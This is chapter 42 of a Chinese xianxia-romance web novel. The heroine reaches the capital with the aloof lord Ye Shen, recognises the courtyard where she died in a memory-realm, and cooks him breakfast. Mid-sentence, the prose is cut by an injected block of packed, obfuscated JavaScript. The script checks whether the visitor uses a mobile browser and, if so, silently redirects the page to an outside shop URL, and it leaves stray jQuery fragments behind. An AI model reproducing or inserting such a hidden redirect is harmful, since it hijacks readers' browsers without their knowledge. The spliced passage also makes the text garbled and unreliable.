42. 第42章
作品:《舔狗上位指南》 电光火石间,夜神单手怀住她的腰肢,轻轻一带。
一股清冷的气息袭来,池染睁眼,脸与地面越来越远,直至落入一个不算温暖的怀抱。
池染微微仰头,恰好撞上夜神的目光。
对方正定定地望着她。
心脏突然不受控制‘咚咚咚’狂跳起来,“谢、谢公子。”匆忙道谢后没等对方松开,她先一步推开夜神。
感觉脑袋有点缺氧,嗓子也发干,她咽了咽口水。
对上夜神三分不爽的表情,她紧张结巴道:“我、我去坐马车。”说完,逃一样豪放地跳上马车。
“……”
北野正要放马凳,发现全无用武之地。
坐到马车的软垫上,池染无比后悔方才手忙脚乱的举动,对方肯定以为她有病。
池染也不知道自己是怎么了,明明就是近距离的对视而已,又不是亲上了,干嘛要害羞。
啊啊啊啊啊——!
丢人。
狗剩蜷缩在另一侧闭目养神。
马车缓缓前行,发出吱嘎吱嘎规律的声音,十分催眠,听得她昏昏欲睡。
可闭上眼反倒睡不着,不免心事沉沉。
一路不疾不徐来到京都。
途中除了大佬走哪儿都能引起一堆花痴女子围观,阻碍马车前行,其中不乏胆大当街表白的,夜神这才意识到池染的重要性。
他表情淡淡,一指马车里的池染,胡诌道:“在下的未婚妻。”直接断了那些少女的念想。
敢情儿完全把她当成挡箭牌、工具人。
给她气得够呛外,其他一切如常。
路上无聊的时候,她便闭目打坐,呼吸吐纳。连日来,感觉身体轻松不少,自从学会运用元神感知,她进入状态的时间越来越长。
有时坐在马车里,能看到几十里外的场景。
玄妙至极。
她幻想某一天,无需他人帮助,便可御剑飞行,自由自在徜徉在云端间。
俯瞰整个世界。
感受仙侠小说中,“仙人抚我顶,结发受长生”的恣意洒脱。
赶了十几天路,终于抵达京都城外。夜神仍旧意气风发地骑马进城,这一路几乎没坐过马车。
池染不由羡慕,体力真好。
进城已是日暮时分,池染好奇地推开小窗,举目张望。
斜阳余晖为巍峨的城墙镀上一层金辉。
京都城大街小巷华灯初上,街道宽阔干净。
来往马车、行人熙来攘往,络绎不绝。
这里比夜神城更气派和欣欣向荣。
狗剩挤着池染,嘴搭在窗棂边,一对无辜三角眼里满是探究,抻着脖子望。
来往行人纷纷驻足看过来。
“哇,好可爱的黄耳犬。”
“是诶,它、它看我了。”
“此犬绝非凡品,放眼天下,竟头一次遇见。”
“你看前头身着玄衣骑马的小郎君,好生俊俏。”
“一看就是出自大户人家。”
“不知是否婚配。”
“相貌虽出挑,不知人品如何。”
池染懒得听那些肤浅的话,干脆拉上小窗,眼不见为净。
显着他了,还嫌不够拉风,非要骑马进城。
瞧着气定神闲,心里指不定美成什么样儿呢。
池染心中冷哼。
以为晚间要在客栈下榻,结果马车行驶许久,始终没停下。
池染挑开帘子,问赶马车的北野,“我们这是去哪儿?”
他同样茫然,“主人并没安排京都的客栈,所以我们只能跟着尊主走。”
穿过熙攘的街市,街道开始变得狭窄,街上行人愈发稀少。
这儿应该快走到京都的边边角角。
月黑风高的,总感觉像要把她拐走卖掉似的。
心里毛毛的。
“吁。”北野勒住缰绳,马车应声停下,“池染姐姐,到了。”
闻言她直了直腰,连日奔波,不光腰酸背痛,觉也睡不饱。
狗剩率先跳下车,她跟着跳下去。
四周乌漆嘛黑,月光洒下清辉,只能隐约看到周遭轮廓。
眼前是一座宅院。
北野掌灯,提着灯笼凑近,池染蓦然愣住。
夜神上前推开宅院大门,顿时灰尘漫天,似是许久未曾住人。
挥了挥浮尘,他踱步而入。
北野随之跟在后面。
熟悉的院子,熟悉的格局。
她仍清晰记得,那颗老槐树下,夜神毫不留情一刀毙命了自己。
至今记忆犹新,乃至触目惊心。
记忆识海中的情景犹浮现在眼前。
万没想到,这个地方是真实存在,且就藏匿在人界的京都城。
北野见她愣在原地,唤她,“姐姐,怎么不进?”
她望着幽黑的院子,深吸口气,踏了进去。
毕竟是亲身体验死过一次的地方,说不恐惧是假的。
哪怕是在虚幻中……
她拼命挣扎,就是为了能活下去。
小说世界,是她活下去的唯一希望。
所以,她必须阻止夜神毁灭这一切。
定了定神,院子逐渐明亮起来,让她恐惧的心情稍微缓解一些。
“是不是很熟悉?”冷不防夜神的声音飘了过来。
池染笑,“是啊,尊主原来都记得。”语气有几分揶揄的意思。
她追问:“所以……阿灵是尊主的师父吗?”
夜神意味不明地看着她。
“尊主的师父没死,转世投胎成为阿灵。”池染继续说,“既然并非真正魂飞魄散,那外界的传言便会不攻自破,尊主根本没有杀死师父。”
“那又如何?”夜神微挑着眉梢反问,一副事不关己的模样。
“无论如何——”池染坚定地说,“我不会再让尊主遭受那些无知之人的诽谤。”
迎着她纯净又明亮的眸光,听她信誓旦旦的承诺,夜神波澜不惊的心蓦然一动。
一种他从未体会的情绪悄然涌上心头,如同一股温热的暖流缓缓流入心间,无孔不入地渗透进去,直至严密地包裹住。
原来,被别人在乎是这种感觉。
明明那么怕死又脆弱的凡人,却让他莫名觉得,她是无比有力量且坚韧的一个人。
一如之前明知自己不敌妖兽,还会奋不顾身去迎战。
终究是小瞧了她。
他的目光带着几分探究,望着她。
以为对方能有所触动或什么反馈,奈何他流露出几分不解的神色。
池染:“……”
空气凝滞一息。
或许意识到她说的话过于矫情,为了缓解尴尬,她手脚麻利的转身准备收拾屋子。
深更半夜,池染困得厉害。
给那祖宗的房间收拾妥帖后,轮到她自己的房间,随便糊弄简单擦擦灰尘,凑合着衣不解带睡了一宿。
这一夜睡得并不踏实,期间辗转反侧数次。
脑子里反反复复重现她对夜神说的那句矫情话。
内心不断安慰自己,要攻略大佬,说几句矫情话怎么了?
嗯,怎么了?!
就说了。
不过是对症下药罢了。
据池染观察发现,大佬敏感多疑,严重缺乏安全感,甚至对略微复杂的感情一窍不通。找到关键问题,逐一攻破,到时还不手到擒来。
届时让他放弃对白月光师父的美好幻想,走出过去的糟糕回忆,迎接新的未来。
池染相信自己,一定能成功。
如果全部行不通,那么她只能孤注一掷——
杀夜神。
不行不行,一定有办法改变结局。
突
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367030|197878||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然闪过这个阴损的念头,让池染遍体生寒。
如此便纠结着过去一夜。
翌日一早,北野便来拍门。
池染嫌吵蒙上被子赖床,打算置之不理。
北野敲了半天,无人回应,“姐姐,公子让你起来做早饭。”他不得已只好搬出尊主来。
嗯?池染困惑,他一个几千万岁的人了,吃什么早饭……
转念一想,倘若为真,她扑腾一下坐起来,正是她表现的大好机会啊。
这句话果然好用,见她出来,北野方松口气。
“公子说要吃什么了吗?”池染揉了揉惺忪睡眼,由于没睡醒又熬夜,声线微微沙哑。
“说吃什么、”他挠了挠头,寻思半天,“哦对,锅包肉。”
……大清早的,这菜够硬。
为了满足大佬的口腹之欲,她梳洗一番,换了件衣裳就出门去采买。
这是她第一次迈出院子。
地方真挺偏的,左邻右舍离得相当远。
大清早街上没什么人。
一出门,她才想起来,不晓得去哪儿买菜。
又折返回去问。
结果,夜神幽幽说了句,“不知。”
“那公子从前拎回的肉和蔬菜哪儿来的?”池染语调不自觉扬高,透着不满。
“抢的。”他随口说,而后反问,“你不知道?”
池染噎住。
呵,说得理直气壮的。
她静默片刻,又问:“从哪儿抢的?”
夜神平铺直叙回道:“城外二十里的寨子。”
“你每天跑二十里外抢东西?”她不由诧异,连尊称都顾不上说。
夜神写字的手一顿,散漫回道:“你有意见?”听起来有几分不耐烦的意思。
池染:“……”
该死的反问句。
她挎起小菜篮重新出门。
来回折腾一番,街上三三两两开始有路人经过。
她喊住一位看起来面善的大婶询问了集市的方向。
集市离住的地方不算远,穿过几条街巷便是。
这边挺热闹,类似早市,有卖热气腾腾的馄饨面条包子等等。
她买了新鲜蔬菜和肉,又买了几张葱饼,就往回走。
相对喧嚣的闹市,这边的确清净许多。
回到小院,她去厨房开始鼓捣饭。
由于在记忆识海她与夜神比拼厨艺胜出后,便一直由她负责煮饭。
所以,对厨房一切轻车熟路。
生火时,她突然意识到——锅包肉。
诶?锅包肉!
原来夜神昏迷之时听她描述,嘴馋了。
池染无声笑,难得会有人记得她说过的话。
北野刚一走进去,一股微微呛人的酸甜味儿便吸进了鼻子,喷香诱人。
“池染姐姐。”他眼神锃亮,盯着刚出锅的肉块,“这便是锅包肉?”
她用手捏起一块,招呼道:“趁热尝尝。”
好久没做,不知道味道行不行。
二人一人尝了一块。
“咱俩这样好吗?”北野犹疑,往院子扫了眼,没见到公子,安心了些。
“大师傅做菜,哪有不让尝味道的道理。”池染说,“放心吃。”
手艺没退步,肉块炸得火候正好,外酥里嫩,柴火和铁锅炒出的菜锅气十足。
为了庆祝他们正式在人界落脚,特地做了三菜一汤。
做好饭已经快晌午。
夜神微眯着眼,似乎审视着桌上的菜色。
他不动筷,婢女和书童自然不敢动。能准许她和北野上桌都是天大的恩赐了,哪儿敢多言。
知道这祖宗八成又要吹毛求疵,可能天生跟她不对付。有阿灵在时,跟生怕抢了她师父的恩宠似的,天天不是挑刺就是怼人。
气得池染心里直骂:事儿逼。

